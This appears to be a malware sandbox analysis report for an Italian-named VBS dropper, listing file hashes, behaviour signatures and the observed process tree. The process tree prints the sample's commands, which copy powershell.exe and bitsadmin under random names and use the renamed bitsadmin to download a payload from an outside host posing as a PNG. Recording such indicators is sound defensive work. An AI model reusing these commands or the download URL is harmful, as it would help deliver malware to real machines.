Analysis
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max time kernel
37s -
max time network
90s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
11-01-2021 08:44
Static task
static1
Behavioral task
behavioral1
Sample
Allegato_doc_02613440060.vbs
Resource
win7v20201028
General
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Target
Allegato_doc_02613440060.vbs
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Size
8KB
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MD5
6266da42dda2a91e97c63181b85b26d4
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SHA1
2a0673cc7ea00b5187dac046b906aa1018317236
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SHA256
12bad94c43427bae4e3855ebdd60d32d7a6305f108a811ead926950450ec503b
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SHA512
fed5ca3e0b5f2214d12c6e8e6d86b6f96589e4629a588bb91cb3df90e3f20c17bb0413f9cbc1683a64642a5b2aa1ddc3ce2a59bb674febe28676c5a5157913c6
Malware Config
Signatures
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Executes dropped EXE 1 IoCs
Processes:
NXBtfaYin.exepid process 3860 NXBtfaYin.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Suspicious use of WriteProcessMemory 9 IoCs
Processes:
WScript.execmd.exedescription pid process target process PID 4684 wrote to memory of 4992 4684 WScript.exe cmd.exe PID 4684 wrote to memory of 4992 4684 WScript.exe cmd.exe PID 4992 wrote to memory of 5056 4992 cmd.exe cmd.exe PID 4992 wrote to memory of 5056 4992 cmd.exe cmd.exe PID 4992 wrote to memory of 3536 4992 cmd.exe cmd.exe PID 4992 wrote to memory of 3536 4992 cmd.exe cmd.exe PID 4684 wrote to memory of 3860 4684 WScript.exe NXBtfaYin.exe PID 4684 wrote to memory of 3860 4684 WScript.exe NXBtfaYin.exe PID 4684 wrote to memory of 3860 4684 WScript.exe NXBtfaYin.exe
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Allegato_doc_02613440060.vbs"1⤵
- Suspicious use of WriteProcessMemory
PID:4684 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\fatSkEH.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\NXBtfaY*.exe2⤵
- Suspicious use of WriteProcessMemory
PID:4992 -
C:\Windows\system32\cmd.execmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\fatSkEH.exe3⤵PID:5056
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C:\Windows\system32\cmd.execmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\NXBtfaY*.exe3⤵PID:3536
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C:\ProgramData\NXBtfaYin.exe"C:\ProgramData\NXBtfaYin.exe" /transfer vQtoGc /download https://ladiesincode.com/ladi/02613440060/maps.png C:\Users\Admin\AppData\Roaming\maps.png2⤵
- Executes dropped EXE
PID:3860
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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MD5
bc3fc615ded204ba43b3b5ee76e7aa32
SHA17295b2b245fe99eac5a597693b4388c38b50edca
SHA256452eb204875973149566fed16fe8869f3ee9cb11961b50dd088e5efb5a093889
SHA5127c619b7d3a92f1b18302e0473f54cd712888088181350d63cafcabbe35753abe93819bfb95dda77b93fd8ff9f5dccef15caa3c077cc22ff95b73138b317107ca
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MD5
bc3fc615ded204ba43b3b5ee76e7aa32
SHA17295b2b245fe99eac5a597693b4388c38b50edca
SHA256452eb204875973149566fed16fe8869f3ee9cb11961b50dd088e5efb5a093889
SHA5127c619b7d3a92f1b18302e0473f54cd712888088181350d63cafcabbe35753abe93819bfb95dda77b93fd8ff9f5dccef15caa3c077cc22ff95b73138b317107ca